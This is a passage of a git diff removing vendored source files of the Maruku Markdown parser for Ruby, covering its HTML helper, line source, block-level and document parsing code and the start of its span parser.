-							@already += @m.pre_match 
-							@rest = @m.post_match
-							@partial_tag = @m.to_s
-							self.state = :inside_tag
-						elsif @m = EverythingElse.match(@rest)
-							my_debug "#{@state}: Everything: #{@m.to_s.inspect}"
-							@already += @m.pre_match + @m.to_s
-							@rest = @m.post_match
-							self.state = :inside_element
-						else
-							error "Malformed HTML: not complete: #{@rest.inspect}"
-						end
-					when :inside_tag
-						if @m = /^[^>]*>/.match(@rest) then
-							my_debug "#{@state}: inside_tag: matched #{@m.to_s.inspect}"
-							@partial_tag += @m.to_s
-							my_debug "#{@state}: inside_tag: matched TOTAL: #{@partial_tag.to_s.inspect}"
-							@rest = @partial_tag + @m.post_match
-							@partial_tag = nil
-							self.state = :inside_element
-						else
-							@partial_tag += @rest
-							@rest = ""
-							self.state = :inside_tag
-						end
-					else
-						raise "Bug bug: state = #{self.state.inspect}"
-				end # not inside comment
-				
-#				puts inspect
-#				puts "Read: #{@tag_stack.inspect}"
-				break if is_finished? and things_read>0	
-			end
-		end
-
-		def handle_tag()
-			@already += @m.pre_match
-			@rest = @m.post_match
-
-			is_closing = !!@m[1]
-			tag = @m[2]
-			attributes = @m[3].to_s
-		
-			is_single = false
-			if attributes[-1] == ?/ # =~ /\A(.*)\/\Z/
-				attributes = attributes[0, attributes.size-1]
-				is_single = true
-			end
-
-			my_debug "Attributes: #{attributes.inspect}"
-			my_debug "READ TAG #{@m.to_s.inspect} tag = #{tag} closing? #{is_closing} single = #{is_single}"
-	
-			if TO_SANITIZE.include? tag 
-				attributes.strip!
-		#		puts "Attributes: #{attributes.inspect}"
-				if attributes.size > 0
-					@already +=  '<%s %s />' % [tag, attributes]
-				else
-					@already +=  '<%s />' % [tag]
-				end
-			elsif is_closing
-				@already += @m.to_s
-				if @tag_stack.empty?
-					error "Malformed: closing tag #{tag.inspect} "+
-					      "in empty list"
-				end 
-				if @tag_stack.last != tag
-					error "Malformed: tag <#{tag}> "+
-					      "closes <#{@tag_stack.last}>"
-				end
-				@tag_stack.pop
-			else 
-				@already += @m.to_s
-				
-				if not is_single
-					@tag_stack.push(tag) 
-					my_debug "Pushing #{tag.inspect} when read #{@m.to_s.inspect}"
-				end
-			end
-		end
-		def error(s)
-			raise Exception, "Error: #{s} \n"+ inspect, caller
-		end
-
-		def inspect; "HTML READER\n state=#{self.state} "+
-			"match=#{@m.to_s.inspect}\n"+
-			"Tag stack = #{@tag_stack.inspect} \n"+
-			"Before:\n"+
-			@already.gsub(/^/, '|')+"\n"+
-			"After:\n"+
-			@rest.gsub(/^/, '|')+"\n"
-			
-		end
-		
-		
-		def stuff_you_read
-			@already
-		end
-		
-		def rest() @rest end
-		
-		def is_finished?
-			(self.state == :inside_element)  and @tag_stack.empty?
-		end
-	end # html helper 
-
-end end end end
diff --git a/vendor/plugins/maruku/lib/maruku/input/linesource.rb b/vendor/plugins/maruku/lib/maruku/input/linesource.rb
deleted file mode 100644
index 10642b57..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/linesource.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-module MaRuKu; module In; module Markdown; module BlockLevelParser
-
-# This represents a source of lines that can be consumed.
-#
-# It is the twin of CharSource.
-#
-	
-class LineSource
-	include MaRuKu::Strings
-	attr_reader :parent
-	
-	def initialize(lines, parent=nil, parent_offset=nil)
-		raise "NIL lines? " if not lines
-		@lines = lines
-		@lines_index = 0
-		@parent = parent
-		@parent_offset = parent_offset
-	end
-	
-	def cur_line()  @lines[@lines_index] end
-	def next_line() @lines[@lines_index+1] end
-		
-	def shift_line() 
-		raise "Over the rainbow" if @lines_index >= @lines.size 
-		l = @lines[@lines_index]
-		@lines_index += 1
-		return l
-	end
-	
-	def ignore_line
-		raise "Over the rainbow" if @lines_index >= @lines.size 
-		@lines_index += 1
-	end
-	
-	def describe
-		s = "At line #{original_line_number(@lines_index)}\n"
-		
-		context = 3 # lines
-		from = [@lines_index-context, 0].max
-		to   = [@lines_index+context, @lines.size-1].min
-		
-		for i in from..to
-			prefix = (i == @lines_index) ? '--> ' : '    ';
-			l = @lines[i]
-			s += "%10s %4s|%s" %
-				[@lines[i].md_type.to_s, prefix, l]
-				
-			s += "|\n"
-		end
-		
-#		if @parent 
-#			s << "Parent context is: \n"
-#			s << @parent.describe.gsub(/^/, '|')
-#		end
-		s
-	end
-	
-	def original_line_number(index)
-		if @parent
-			return index + @parent.original_line_number(@parent_offset)
-		else
-			1 + index
-		end
-	end
-	
-	def cur_index
-		@lines_index
-	end
-	
-	# Returns the type of next line as a string
-	# breaks at first :definition
-	def tell_me_the_future
-		s = ""; num_e = 0;
-		for i in @lines_index..@lines.size-1
-			c = case @lines[i].md_type
-				when :text; "t"
-				when :empty; num_e+=1; "e"
-				when :definition; "d"
-				else "o"
-			end
-			s += c
-			break if c == "d" or num_e>1
-		end
-		s	
-	end
-	
-end # linesource
-
-end end end end # block
-
diff --git a/vendor/plugins/maruku/lib/maruku/input/parse_block.rb b/vendor/plugins/maruku/lib/maruku/input/parse_block.rb
deleted file mode 100644
index 3a7151c1..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/parse_block.rb
+++ /dev/null
@@ -1,608 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-module MaRuKu; module In; module Markdown; module BlockLevelParser
-
-	include Helpers
-	include MaRuKu::Strings
-	include MaRuKu::In::Markdown::SpanLevelParser
-
-	class BlockContext < Array
-		def describe
-			n = 5
-			desc = size > n ? self[-n,n] : self
-			"Last #{n} elements: "+
-			desc.map{|x| "\n -" + x.inspect}.join
-		end
-	end
-	
-	# Splits the string and calls parse_lines_as_markdown
-	def parse_text_as_markdown(text)
-		lines =  split_lines(text)
-		src = LineSource.new(lines)
-		return parse_blocks(src)
-	end
-	
-	# Input is a LineSource
-	def parse_blocks(src)
-		output = BlockContext.new
-		
-		# run state machine
-		while src.cur_line
-			
-			next if check_block_extensions(src, output, src.cur_line)
-			
-#  Prints detected type (useful for debugging)
-#			puts "#{src.cur_line.md_type}|#{src.cur_line}"
-			case src.cur_line.md_type
-				when :empty; 
-					output.push :empty
-					src.ignore_line
-				when :ial
-					m =  InlineAttributeList.match src.shift_line
-					content = m[1] ||  "" 
-#					puts "Content: #{content.inspect}"
-					src2 = CharSource.new(content, src)
-					interpret_extension(src2, output, [nil])
-				when :ald
-					output.push read_ald(src)
-				when :text
-					# paragraph, or table, or definition list
-					read_text_material(src, output)
-				when :header2, :hrule
-					# hrule
-					src.shift_line
-					output.push md_hrule()
-				when :header3
-					output.push read_header3(src)
-				when :ulist, :olist
-					list_type = src.cur_line.md_type == :ulist ? :ul : :ol
-					li = read_list_item(src)
-					# append to current list if we have one
-					if output.last.kind_of?(MDElement) && 
-						output.last.node_type == list_type then
-						output.last.children << li
-					else
-						output.push md_el(list_type, [li])
-					end
-				when :quote;    output.push read_quote(src)
-				when :code;     e = read_code(src); output << e if e
-				when :raw_html; e = read_raw_html(src); output << e if e
-
-				when :footnote_text;   output.push read_footnote_text(src)
-				when :ref_definition;  
-					if src.parent && (src.cur_index == 0)
-						read_text_material(src, output)
-					else
-						read_ref_definition(src, output)
-					end
-				when :abbreviation;    output.push read_abbreviation(src)
-				when :xml_instr;       read_xml_instruction(src, output)
-				when :metadata;        
-					maruku_error "Please use the new meta-data syntax: \n"+
-					"  http://maruku.rubyforge.org/proposal.html\n", src
-					src.ignore_line
-				else # warn if we forgot something
-					md_type = src.cur_line.md_type
-					line = src.cur_line
-					maruku_error "Ignoring line '#{line}' type = #{md_type}", src
-					src.shift_line
-			end
-		end
-
-		merge_ial(output, src, output)
-		output.delete_if {|x| x.kind_of?(MDElement) &&
-			x.node_type == :ial}
-		
-		# get rid of empty line markers
-		output.delete_if {|x| x == :empty}
-		# See for each list if we can omit the paragraphs and use li_span
-		# TODO: do this after
-		output.each do |c| 
-			# Remove paragraphs that we can get rid of
-			if [:ul,:ol].include? c.node_type 
-				if c.children.all? {|li| !li.want_my_paragraph} then
-					c.children.each do |d|
-						d.node_type = :li_span
-						d.children = d.children[0].children if d.children[0]
-					end
-				end
-			end 
-			if c.node_type == :definition_list
-				if c.children.all?{|defi| !defi.want_my_paragraph} then
-					c.children.each do |definition| 
-						definition.definitions.each do |dd|
-							dd.children = dd.children[0].children if dd.children[0] 
-						end
-					end
-				end
-			end 
-		end
-		
-		output
-	end
-	
-	def read_text_material(src, output)
-		if src.cur_line =~ MightBeTableHeader and 
-			(src.next_line && src.next_line =~ TableSeparator)
-			output.push read_table(src)
-		elsif [:header1,:header2].include? src.next_line.md_type
-			output.push read_header12(src)
-		elsif eventually_comes_a_def_list(src)
-		 	definition = read_definition(src)
-			if output.last.kind_of?(MDElement) && 
-				output.last.node_type == :definition_list then
-				output.last.children << definition
-			else
-				output.push md_el(:definition_list, [definition])
-			end
-		else # Start of a paragraph
-			output.push read_paragraph(src)
-		end
-	end
-	
-	
-	def read_ald(src)
-		if (l=src.shift_line) =~ AttributeDefinitionList
-			id = $1;   al=$2;
-			al = read_attribute_list(CharSource.new(al,src), context=nil, break_on=[nil])
-			self.ald[id] = al;
-			return md_ald(id, al)
-		else
-			maruku_error "Bug Bug:\n#{l.inspect}"
-			return nil
-		end
-	end
-		
-	# reads a header (with ----- or ========)
-	def read_header12(src)
-		line = src.shift_line.strip
-		al = nil
-		# Check if there is an IAL
-		if new_meta_data? and line =~ /^(.*?)\{(.*?)\}\s*$/
-			line = $1.strip
-			ial = $2
-			al  = read_attribute_list(CharSource.new(ial,src), context=nil, break_on=[nil])
-		end
-		text = parse_lines_as_span [ line ]
-		level = src.cur_line.md_type == :header2 ? 2 : 1;  
-		src.shift_line
-		return md_header(level, text, al)
-	end
-
-	# reads a header like '#### header ####'	
-	def read_header3(src)
-		line = src.shift_line.strip
-		al = nil
-		# Check if there is an IAL
-		if new_meta_data? and line =~ /^(.*?)\{(.*?)\}\s*$/
-			line = $1.strip
-			ial = $2
-			al  = read_attribute_list(CharSource.new(ial,src), context=nil, break_on=[nil])
-		end
-		level = line[/^#+/].size
-		text = parse_lines_as_span [line.gsub(/\A#+|#+\Z/, '')]
-		return md_header(level, text, al)
-	end
-
-	def read_xml_instruction(src, output)
-		m = /^\s*<\?((\w+)\s*)?(.*)$/.match src.shift_line
-		raise "BugBug" if not m
-		target = m[2] || ''
-		code = m[3]
-		until code =~ /\?>/
-			code += "\n"+src.shift_line
-		end
-		if not code =~ (/\?>\s*$/)
-			garbage = (/\?>(.*)$/.match(code))[1]
-			maruku_error "Trailing garbage on last line: #{garbage.inspect}:\n"+
-				code.gsub(/^/, '|'), src
-		end
-		code.gsub!(/\?>\s*$/, '')
-		
-		if target == 'mrk' && MaRuKu::Globals[:unsafe_features]
-			result = safe_execute_code(self, code)	
-			if result
-				if result.kind_of? String
-					raise "Not expected"
-				else
-					output.push(*result)
-				end
-			end
-		else
-			output.push md_xml_instr(target, code)
-		end
-	end
-	
-	def read_raw_html(src)
-		h = HTMLHelper.new
-		begin 
-			h.eat_this(l=src.shift_line)
-#			puts "\nBLOCK:\nhtml -> #{l.inspect}"
-			while src.cur_line and not h.is_finished? 
-				l=src.shift_line
-#				puts "html -> #{l.inspect}"
-				h.eat_this "\n"+l
-			end
-		rescue Exception => e
-			ex = e.inspect + e.backtrace.join("\n")
-			maruku_error "Bad block-level HTML:\n#{ex.gsub(/^/, '|')}\n", src
-		end
-		if not (h.rest =~ /^\s*$/)
-			maruku_error "Could you please format this better?\n"+
-				"I see that #{h.rest.inspect} is left after the raw HTML.", src
-		end
-		raw_html = h.stuff_you_read
-		
-		return md_html(raw_html)
-	end
-	
-	def read_paragraph(src)
-		lines = [src.shift_line]
-		while src.cur_line 
-			# :olist does not break
-			case t = src.cur_line.md_type
-				when :quote,:header3,:empty,:ref_definition,:ial #,:xml_instr,:raw_html
-					break
-				when :olist,:ulist
-					break if src.next_line.md_type == t
-			end
-			break if src.cur_line.strip.size == 0			
-			break if [:header1,:header2].include? src.next_line.md_type
-			break if any_matching_block_extension?(src.cur_line) 
-			
-			lines << src.shift_line
-		end
-		children = parse_lines_as_span(lines, src)
-
-		return md_par(children)
-	end
-	
-	# Reads one list item, either ordered or unordered.
-	def read_list_item(src)
-		parent_offset = src.cur_index
-		
-		item_type = src.cur_line.md_type
-		first = src.shift_line
-
-		indentation, ial = spaces_before_first_char(first)
-		al = read_attribute_list(CharSource.new(ial,src), context=nil, break_on=[nil]) if ial
-		break_list = [:ulist, :olist, :ial]
-		# Ugly things going on inside `read_indented_content`
-		lines, want_my_paragraph = 
-			read_indented_content(src,indentation, break_list, item_type)
-
-		# add first line
-			# Strip first '*', '-', '+' from first line
-			stripped = first[indentation, first.size-1]
-		lines.unshift stripped
-		
-
-		src2 = LineSource.new(lines, src, parent_offset)
-		children = parse_blocks(src2)
-		with_par = want_my_paragraph || (children.size>1)
-		
-		return md_li(children, with_par, al)
-	end
-
-	def read_abbreviation(src)
-		if not (l=src.shift_line) =~ Abbreviation
-			maruku_error "Bug: it's Andrea's fault. Tell him.\n#{l.inspect}"
-		end
-		
-		abbr = $1
-		desc = $2
-		
-		if (not abbr) or (abbr.size==0)
-			maruku_error "Bad abbrev. abbr=#{abbr.inspect} desc=#{desc.inspect}"
-		end
-		
-		self.abbreviations[abbr] = desc
-		
-		return md_abbr_def(abbr, desc)
-	end
-	
-	def read_footnote_text(src)
-		parent_offset = src.cur_index
-			
-		first = src.shift_line
-		
-		if not first =~ FootnoteText 
-			maruku_error "Bug (it's Andrea's fault)"
-		end
-		
-		id = $1
-		text = $2
-
-		# Ugly things going on inside `read_indented_content`
-		indentation = 4 #first.size-text.size
-		
-#		puts "id =_#{id}_; text=_#{text}_ indent=#{indentation}"
-		
-		break_list = [:footnote_text, :ref_definition, :definition, :abbreviation]
-		item_type = :footnote_text
-		lines, want_my_paragraph = 
-			read_indented_content(src,indentation, break_list, item_type)
-
-		# add first line
-		if text && text.strip != "" then lines.unshift text end
-		
-		src2 = LineSource.new(lines, src, parent_offset)
-		children = parse_blocks(src2)
-		
-		e = md_footnote(id, children)
-		self.footnotes[id] = e
-		return e
-	end
-
-
-	# This is the only ugly function in the code base.
-	# It is used to read list items, descriptions, footnote text
-	def read_indented_content(src, indentation, break_list, item_type)
-		lines =[]
-		# collect all indented lines
-		saw_empty = false; saw_anything_after = false
-		while src.cur_line 
-#			puts "Reading indent = #{indentation} #{src.cur_line.inspect}"
-			#puts "#{src.cur_line.md_type} #{src.cur_line.inspect}"
-			if src.cur_line.md_type == :empty
-				saw_empty = true
-				lines << src.shift_line
-				next
-			end
-		
-			# after a white line
-			if saw_empty
-				# we expect things to be properly aligned
-				if (ns=number_of_leading_spaces(src.cur_line)) < indentation
-					#puts "breaking for spaces, only #{ns}: #{src.cur_line}"
-					break
-				end
-				saw_anything_after = true
-			else
-#				if src.cur_line[0] != ?\ 
-					break if break_list.include? src.cur_line.md_type
-#				end
-#				break if src.cur_line.md_type != :text
-			end
-		
-
-			stripped = strip_indent(src.shift_line, indentation)
-			lines << stripped
-
-			#puts "Accepted as #{stripped.inspect}"
-		
-			# You are only required to indent the first line of 
-			# a child paragraph.
-			if stripped.md_type == :text
-				while src.cur_line && (src.cur_line.md_type == :text)
-					lines << strip_indent(src.shift_line, indentation)
-				end
-			end
-		end
-
-		want_my_paragraph = saw_anything_after || 
-			(saw_empty && (src.cur_line  && (src.cur_line.md_type == item_type))) 
-	
-		# create a new context 
-	
-		while lines.last && (lines.last.md_type == :empty)
-			lines.pop
-		end
-		
-		return lines, want_my_paragraph
-	end
-
-	
-	def read_quote(src)
-		parent_offset = src.cur_index
-			
-		lines = []
-		# collect all indented lines
-		while src.cur_line && src.cur_line.md_type == :quote
-			lines << unquote(src.shift_line)
-		end
-
-		src2 = LineSource.new(lines, src, parent_offset)
-		children = parse_blocks(src2)
-		return md_quote(children)
-	end
-
-	def read_code(src)
-		# collect all indented lines
-		lines = []
-		while src.cur_line && ([:code, :empty].include? src.cur_line.md_type)
-			lines << strip_indent(src.shift_line, 4)
-		end
-		
-		#while lines.last && (lines.last.md_type == :empty )
-		while lines.last && lines.last.strip.size == 0
-			lines.pop 
-		end
-
-		while lines.first && lines.first.strip.size == 0
-			lines.shift 
-		end
-		
-		return nil if lines.empty?
-
-		source = lines.join("\n")
-		
-
-		return md_codeblock(source)
-	end
-
-	# Reads a series of metadata lines with empty lines in between
-	def read_metadata(src)
-		hash = {}
-		while src.cur_line 
-			case src.cur_line.md_type
-				when :empty;  src.shift_line
-				when :metadata; hash.merge! parse_metadata(src.shift_line)
-				else break
-			end
-		end
-		hash
-	end
-	
-		
-	def read_ref_definition(src, out)	
-		line = src.shift_line
-		
-		
-		# if link is incomplete, shift next line
-		if src.cur_line && !([:footnote_text, :ref_definition, :definition, :abbreviation].include? src.cur_line.md_type) && 
-			([1,2,3].include? number_of_leading_spaces(src.cur_line) ) 
-			line += " "+ src.shift_line
-		end
-		
-#		puts "total= #{line}"
-		
-		match = LinkRegex.match(line)
-		if not match
-			maruku_error "Link does not respect format: '#{line}'"
-			return
-		end
-		
-		id = match[1]; url = match[2]; title = match[3] || match[4] || match[5]; 
-		id = sanitize_ref_id(id)
-		
-		hash = self.refs[id] = {:url=>url,:title=>title}
-		
-		stuff=match[6]
-		
-		if stuff
-			stuff.split.each do |couple|
-#					puts "found #{couple}"
-				k, v = couple.split('=')
-				v ||= ""
-				if v[0,1]=='"' then v = v[1, v.size-2] end
-#					puts "key:_#{k}_ value=_#{v}_"
-				hash[k.to_sym] = v
-			end
-		end
-#			puts hash.inspect
-		
-		out.push md_ref_def(id, url, meta={:title=>title})
-	end
-	
-	def split_cells(s)
-#		s.strip.split('|').select{|x|x.strip.size>0}.map{|x|x.strip}
-# changed to allow empty cells
-		s.strip.split('|').select{|x|x.size>0}.map{|x|x.strip}
-	end
-
-	def read_table(src)
-		head = split_cells(src.shift_line).map{|s| md_el(:head_cell, parse_lines_as_span([s])) }
-			
-		separator=split_cells(src.shift_line)
-
-		align = separator.map { |s|  s =~ Sep
-			if $1 and $2 then :center elsif $2 then :right else :left end }
-				
-		num_columns = align.size
-		
-		if head.size != num_columns
-			maruku_error "Table head does not have #{num_columns} columns: \n#{head.inspect}"
-			tell_user "I will ignore this table."
-			# XXX try to recover
-			return md_br()
-		end
-				
-		rows = []
-		
-		while src.cur_line && src.cur_line =~ /\|/
-			row = split_cells(src.shift_line).map{|s|
-				md_el(:cell, parse_lines_as_span([s]))}
-			if head.size != num_columns
-				maruku_error  "Row does not have #{num_columns} columns: \n#{row.inspect}"
-				tell_user "I will ignore this table."
-				# XXX try to recover
-				return md_br()
-			end
-			rows << row
-		end
-
-		children = (head+rows).flatten
-		return md_el(:table, children, {:align => align})
-	end
-	
-	# If current line is text, a definition list is coming
-	# if 1) text,empty,[text,empty]*,definition
-	
-	def eventually_comes_a_def_list(src)
-		future = src.tell_me_the_future
-		ok = future =~ %r{^t+e?d}x
-#		puts "future: #{future} - #{ok}"
-		ok
-	end
-	
-		
-	def read_definition(src)
-		# Read one or more terms
-		terms = []
-		while  src.cur_line &&  src.cur_line.md_type == :text
-			terms << md_el(:definition_term, parse_lines_as_span([src.shift_line]))
-		end
-
-		want_my_paragraph = false
-
-		raise "Chunky Bacon!" if not src.cur_line
-
-		# one optional empty
-		if src.cur_line.md_type == :empty
-			want_my_paragraph = true
-			src.shift_line
-		end
-		
-		raise "Chunky Bacon!" if src.cur_line.md_type != :definition
-		
-		# Read one or more definitions
-		definitions = []
-		while src.cur_line && src.cur_line.md_type == :definition
-			parent_offset = src.cur_index
-				
-			first = src.shift_line
-			first =~ Definition
-			first = $1
-			
-			# I know, it's ugly!!!
-
-			lines, w_m_p = 
-				read_indented_content(src,4, [:definition], :definition)
-			want_my_paragraph ||= w_m_p
-		
-			lines.unshift first
-			
-			src2 = LineSource.new(lines, src, parent_offset)
-			children = parse_blocks(src2)
-			definitions << md_el(:definition_data, children)
-		end
-		
-		return md_el(:definition, terms+definitions, { 	
-			:terms => terms, 
-			:definitions => definitions, 
-			:want_my_paragraph => want_my_paragraph})
-	end
-end # BlockLevelParser
-end # MaRuKu
-end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/input/parse_doc.rb b/vendor/plugins/maruku/lib/maruku/input/parse_doc.rb
deleted file mode 100644
index 043eac4c..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/parse_doc.rb
+++ /dev/null
@@ -1,240 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-require 'nokogiri'
-require 'strscan'
-
-module MaRuKu; module In; module Markdown; module BlockLevelParser
-		
-	def parse_doc(s)
-		# FIXME \r\n => \n
-		meta2 =  parse_email_headers(s)
-		data = meta2[:data]
-		meta2.delete :data
-		
-		self.attributes.merge! meta2
-		
-=begin maruku_doc
-Attribute: encoding
-Scope:     document
-Summary:   Encoding for the document.
-
-If the `encoding` attribute is specified, then the content
-will be converted from the specified encoding to UTF-8.
-=end
-
-		enc = self.attributes[:encoding]
-		self.attributes.delete :encoding
-		if enc && enc.downcase != 'utf-8'
-
-			# Switch to ruby 1.9 String#encode
-			# with backward 1.8 compatibility
-			if data.respond_to?(:encode!)
-				data.encode!('UTF-8', enc)
-			else
-				require 'iconv'
-				data = Iconv.new('utf-8', enc).iconv(data)
-			end
-
-		end
-
-		@children = parse_text_as_markdown(data)
-		
-		if true #markdown_extra? 
-			self.search_abbreviations
-			self.substitute_markdown_inside_raw_html
-		end
-		
-		toc = create_toc
-
-		# use title if not set
-		if not self.attributes[:title] and toc.header_element
-			title = toc.header_element.to_s
-			self.attributes[:title]  = title
-#			puts "Set document title to #{title}"
-		end
-		
-		# save for later use
-		self.toc = toc
-		
-		# Now do the attributes magic
-		each_element do |e|
-			# default attribute list
-			if default = self.ald[e.node_type.to_s]
-				expand_attribute_list(default, e.attributes)
-			end
-			expand_attribute_list(e.al, e.attributes)
-#			puts "#{e.node_type}: #{e.attributes.inspect}"
-		end
-	
-=begin maruku_doc
-Attribute: unsafe_features
-Scope:     global
-Summary:   Enables execution of XML instructions.
-
-Disabled by default because of security concerns.
-=end
-
-		if Maruku::Globals[:unsafe_features]
-			self.execute_code_blocks
-			# TODO: remove executed code blocks
-		end
-	end
-	
-	# Expands an attribute list in an Hash
-	def expand_attribute_list(al, result)
-		al.each do |k, v|
-			case k
-			when :class
-				if not result[:class]
-					result[:class] = v
-				else
-					result[:class] += " " + v
-				end
-			when :id; result[:id] = v
-			when :ref; 
-				if self.ald[v]
-					already = (result[:expanded_references] ||= [])
-					if not already.include?(v)
-						already.push v
-						expand_attribute_list(self.ald[v], result)
-					else
-						already.push  v
-						maruku_error "Circular reference between labels.\n\n"+
-						"Label #{v.inspect} calls itself via recursion.\nThe recursion is "+
-							(already.map{|x| x.inspect}.join(' => ')) 
-					end
-				else
-					if not result[:unresolved_references]
-						result[:unresolved_references] = v
-					else
-						result[:unresolved_references] << " #{v}"
-					end
-					
-				#	$stderr.puts "Unresolved reference #{v.inspect} (avail: #{self.ald.keys.inspect})"
-					result[v.to_sym] = true
-				end
-			else
-				result[k.to_sym]=v
-			end
-		end
-	end
-
-	def safe_execute_code(object, code)
-		begin
-			return object.instance_eval(code)
-		rescue Exception => e
-			maruku_error "Exception while executing this:\n"+
-				code.gsub(/^/, ">")+
-				"\nThe error was:\n"+
-				(e.inspect+"\n"+e.caller.join("\n")).gsub(/^/, "|")
-		rescue RuntimeError => e
-			maruku_error "2: Exception while executing this:\n"+
-				code.gsub(/^/, ">")+
-				"\nThe error was:\n"+
-				e.inspect.gsub(/^/, "|")
-		rescue SyntaxError => e
-			maruku_error "2: Exception while executing this:\n"+
-				code.gsub(/^/, ">")+
-				"\nThe error was:\n"+
-				e.inspect.gsub(/^/, "|")
-		end
-		nil
-	end
-	
-	def execute_code_blocks
-		self.each_element(:xml_instr) do |e|
-			if e.target == 'maruku'
-				result = safe_execute_code(e, e.code)
-				if result.kind_of?(String)
-					puts "Result is : #{result.inspect}"
-				end
-			end
-		end
-	end
-	
-	def search_abbreviations
-		self.abbreviations.each do |abbrev, title|
-			reg = Regexp.new(Regexp.escape(abbrev))
-			self.replace_each_string do |s|
-				# bug if many abbreviations are present (agorf)
-                p=StringScanner.new(s)
-                a = []
-                until p.eos?  
-                  o = ''
-                  o << p.getch until p.scan(reg) or p.eos?
-                  a << o
-                  a <<  md_abbr(abbrev.dup, title ? title.dup : nil)  if p.matched =~ reg
-                end
-                a
-			end
-		end
-	end
-	
-	# (PHP Markdown extra) Search for elements that have
-	# markdown=1 or markdown=block defined
-	def substitute_markdown_inside_raw_html
-		self.each_element(:raw_html) do |e|
-			doc = e.instance_variable_get :@parsed_html
-			if doc # valid html
-				# parse block-level markdown elements in these HTML tags
-				block_tags = ['div']
-
-				# use xpath to find elements with 'markdown' attribute
-				doc.xpath("//*[attribute::markdown]").each do |e|
-#					puts "Found #{e}"
-					# should we parse block-level or span-level?
-					
-					how = e['markdown']
-					parse_blocks = (how == 'block') || block_tags.include?(e.name)
-					               
-					# Select all text elements of e
-					e.xpath("//text()").each { |original_text| 
-						s = original_text.text
-						if s.strip.size > 0
-
-					#	    puts "Parsing #{s.inspect} as blocks: #{parse_blocks}  (#{e.name}, #{e['markdown']})  "
-
-							el = md_el(:dummy,
-							 	parse_blocks ? parse_text_as_markdown(s) :
-							                  parse_lines_as_span([s]) )
-							p = original_text.parent
-							#Nokogiri collapses consecutive Text nodes, so replace it by a dummy element
-							guard = Nokogiri::XML::Element.new('guard', doc)
-							original_text.replace(guard)
-							el.children_to_html.each do |x|
-								guard.before(x)
-							end
-							guard.remove
-							
-						end
-					}
-					
-					
-          # remove 'markdown' attribute
-          e.delete('markdown')
-          
-				end
-				
-			end
-		end
-	end
-	
-end end end end
diff --git a/vendor/plugins/maruku/lib/maruku/input/parse_span_better.rb b/vendor/plugins/maruku/lib/maruku/input/parse_span_better.rb
deleted file mode 100644
index b6dc635c..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/parse_span_better.rb
+++ /dev/null
@@ -1,831 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-require 'set'
-
-module MaRuKu; module In; module Markdown; module SpanLevelParser
-	include MaRuKu::Helpers
-
-# Concatenates to a string
-class SpanContext_String; end
-
-# Pushes to an Arrary, and then calls #join to output
-class SpanContext_Array; end
-
-# You choose...
-#SpanContext = SpanContext_Array
-SpanContext = SpanContext_String # Seems to be faster
-		
-	EscapedCharInText = 
-		Set.new [?\\,?`,?*,?_,?{,?},?[,?],?(,?),?#,?.,?!,?|,?:,?+,?-,?>]
-
-	EscapedCharInQuotes = 
-		Set.new [?\\,?`,?*,?_,?{,?},?[,?],?(,?),?#,?.,?!,?|,?:,?+,?-,?>,?',?"]
-	
-	EscapedCharInInlineCode = [?\\,?`]
-
-        IgnoreWikiLinks = MaRuKu::Globals[:ignore_wikilinks]
-
-	def parse_lines_as_span(lines, parent=nil)
-		parse_span_better lines.join("\n"), parent
-	end
-
-	def parse_span_better(string, parent=nil)
-		if not string.kind_of? String then 
-			error "Passed #{string.class}." end
-
-		st = (string + "")
-		st.freeze
